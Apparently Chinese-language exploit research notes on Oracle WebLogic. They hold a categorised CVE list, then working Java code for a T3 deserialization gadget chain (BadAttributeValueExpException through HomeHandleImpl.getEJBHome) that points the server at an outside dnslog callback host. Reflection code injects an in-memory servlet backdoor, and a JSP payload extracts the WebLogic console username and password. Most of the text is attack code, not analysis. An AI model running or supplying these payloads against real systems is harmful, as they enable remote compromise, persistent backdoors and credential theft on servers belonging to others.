环境搭建
T3
IIOP
RCE
- CVE-2020-14882 + CVE-2020-14883
File Read
- CVE-2019-2615
File Upload
- CVE-2018-1894
IIOP
- CVE-2020-14756
- CVE-2020-2551
- CVE-2021-2135
JNDI
- CVE-2018-3191
- CVE-2020-14645
- CVE-2020-14841
- CVE-2021-2109
- CVE-2021-2394
RMI
- CVE-2017-3248
- CVE-2018-2628
- CVE-2018-2893
- CVE-2018-3245
SSRF
- CVE-2014-4210
T3
- CVE-2015-4952
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2893
- CVE-2018-3245
- CVE-2019-1890
- CVE-2020-14756
- CVE-2020-2555
- CVE-2020-2883
- CVE-2021-2135
- CVE-2022-21306 ? (HomeHandle)
XMLDecoder
- CVE-2017-3506
- CVE-2017-10352
- CVE-2019-2725
- CVE-2019-2729
XXE
- CVE-2018-3246
- CVE-2019-2647
- CVE-2019-2648
- CVE-2019-2649
- CVE-2019-02650
影响范围
Oracle Weblogic 12.1.3.0.0
Oracle Weblogic 12.2.1.3.0
Oracle Weblogic 12.2.1.4.0
Oracle Weblogic 14.1.1.0.0
source
- javax.management.BadAttributeValueExpException#readObject
sink
- weblogic.ejb20.internal.HomeHandleImpl#getEJBHome
- wlthint3client.jar
调用栈
getEJBHome:49, HomeHandleImpl (weblogic.ejb20.internal) getBusinessObject:182, BusinessHandleImpl (weblogic.ejb.container.internal) unwrapEJBObjects:138, AttributeWrapperUtils (weblogic.servlet.internal.session) unwrapObject:111, AttributeWrapperUtils (weblogic.servlet.internal.session) getAttributeInternal:449, SessionData (weblogic.servlet.internal.session) getAttribute:428, SessionData (weblogic.servlet.internal.session) isDebuggingSession:1359, SessionData (weblogic.servlet.internal.session) toString:1371, SessionData (weblogic.servlet.internal.session) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:2122, ObjectInputStream (java.io) readOrdinaryObject:2013, ObjectInputStream (java.io) readObject0:1535, ObjectInputStream (java.io) readObject:422, ObjectInputStream (java.io) readObject:67, InboundMsgAbbrev (weblogic.rjvm) read:39, InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm) init:212, MsgAbbrevInputStream (weblogic.rjvm) dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3) dispatch:359, BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:970, SocketMuxer (weblogic.socket) readReadySocket:907, SocketMuxer (weblogic.socket) process:495, NIOSocketMuxer (weblogic.socket) processSockets:461, NIOSocketMuxer (weblogic.socket) run:30, SocketReaderRequest (weblogic.socket) execute:43, SocketReaderRequest (weblogic.socket) execute:147, ExecuteThread (weblogic.kernel) run:119, ExecuteThread (weblogic.kernel)
SinkCaller.java
String url = "t3://xx.cbix91.dnslog.cn:7001/xx"; Name name = new LdapName("cn=x, dc=x"); HomeHandleImpl homeHandle = new HomeHandleImpl(null, name, null); // 反射修改 serverURL Field serverURL = homeHandle.getClass().getDeclaredField("serverURL"); serverURL.setAccessible(true); serverURL.set(homeHandle, url); // 调用 getEJBHome() homeHandle.getEJBHome(); BusinessHandleImpl businessHandle = new BusinessHandleImpl(); // 反射修改 homeHandle Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle"); homeHandleF.setAccessible(true); homeHandleF.set(businessHandle, homeHandle); // 调用 getBusinessObject() -> 触发Sink:getEJBHome() // businessHandle.getBusinessObject(); AttributeWrapperUtils attributeWrapperUtils = new AttributeWrapperUtils(); AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle); // 反射修改 isEJBObjectWrapped Field isEJBObjectWrapped = attributeWrapper.getClass().getDeclaredField("isEJBObjectWrapped"); isEJBObjectWrapped.setAccessible(true); isEJBObjectWrapped.set(attributeWrapper, true); // 调用 unwrapObject() -> unwrapEJBObjects() -> getBusinessObject() -> getEJBHome() attributeWrapperUtils.unwrapObject("xxxx", attributeWrapper, null); FileSessionData sessionData = new FileSessionData(); // 反射修改 attributes Map map = new HashMap<>(); map.put("wl_debug_session", attributeWrapper); Field attributes = sessionData.getClass().getSuperclass().getDeclaredField("attributes"); attributes.setAccessible(true); attributes.set(sessionData, map); // 调用 toString() //sessionData.toString(); // 通过BadAttributeValueExpException来调用toString方法 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,sessionData); return badAttributeValueExpException;
ref:
- WebAppServletContext
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method getCurrentWork = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = getCurrentWork.invoke(Thread.currentThread()); WebAppServletContext webAppServletContext; try { // weblogic 12.1.3 Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandler.setAccessible(true); Object httpConnectionHandler = connectionHandler.get(currentWork); Field requestF = httpConnectionHandler.getClass().getDeclaredField("request"); requestF.setAccessible(true); httpConnectionHandler = requestF.get(httpConnectionHandler); java.lang.reflect.Field contextF = httpConnectionHandler.getClass().getDeclaredField("context"); contextF.setAccessible(true); webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler); } catch (Exception e) { // weblogic 1036 Field contextF = currentWork.getClass().getDeclaredField("context"); contextF.setAccessible(true); webAppServletContext = (WebAppServletContext) contextF.get(currentWork); }
跟了一下从web.xml添加servet的流程,可以使用registerServlet方法注册Servlet,不过不同版本的weblogic对该方法有不同实现:
成员方法
- weblogic.servlet.internal.WebAppServletContext#registerServlet()
反射调用
Method registerServlet = webAppServletContext.getClass().getDeclaredMethod("registerServlet", String.class, String.class, String.class, Map.class); registerServlet.setAccessible(true); HashMap hashMap = new HashMap(); registerServlet.invoke(webAppServletContext, "TestServlet", "/abcd", servletClass.getName(), hashMap);
测试效果
成员方法
同样的,反射调用
Method registerServlet = webAppServletContext.getClass().getDeclaredMethod("registerServlet", String.class, String.class, String.class); registerServlet.setAccessible(true); registerServlet.invoke(webAppServletContext, "TestServlet", "/121300", servletClass.getName()); response.getWriter().write("Servlet Injected Successfully!!!");
测试效果
测试效果
测试效果
以往遇上weblogic的站点时都是通过密钥进行解密获取console的密码,甚至但是解密方法就出现好几种,
但是前几个小时在twitter @jas502n师傅公开了Use T3 protocol Get weblogic console username, password这个姿势,于是赶紧学习学习!!!
断点看看代码细节:
代码实现
<%@page import="java.lang.reflect.Field" %> <%@page import="java.lang.reflect.Method" %> <% /** * 已测试: * 10.3.6.0 */ try{ ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class httpDataTransferHandler = classLoader.loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"); Class managementService = classLoader.loadClass("weblogic.management.provider.ManagementService"); Class authenticatedSubject = classLoader.loadClass("weblogic.security.acl.internal.AuthenticatedSubject"); Class propertyService = classLoader.loadClass("weblogic.management.provider.PropertyService"); Field KERNE_ID = httpDataTransferHandler.getDeclaredField("KERNE_ID"); KERNE_ID.setAccessible(true); Method getPropertyService = managementService.getMethod("getPropertyService",authenticatedSubject); getPropertyService.setAccessible(true); Object prop = getPropertyService.invoke((Object) null,KERNE_ID.get((Object) null)); Method getTimestamp1 = propertyService.getMethod("getTimestamp1"); getTimestamp1.setAccessible(true); Method getTimestamp2 = propertyService.getMethod("getTimestamp2"); getTimestamp2.setAccessible(true); String username = (String) getTimestamp1.invoke(prop); String password = (String) getTimestamp2.invoke(prop); response.getWriter().write( username + "/" + password); }catch (Exception e) { e.printStackTrace(); } %>
测试效果









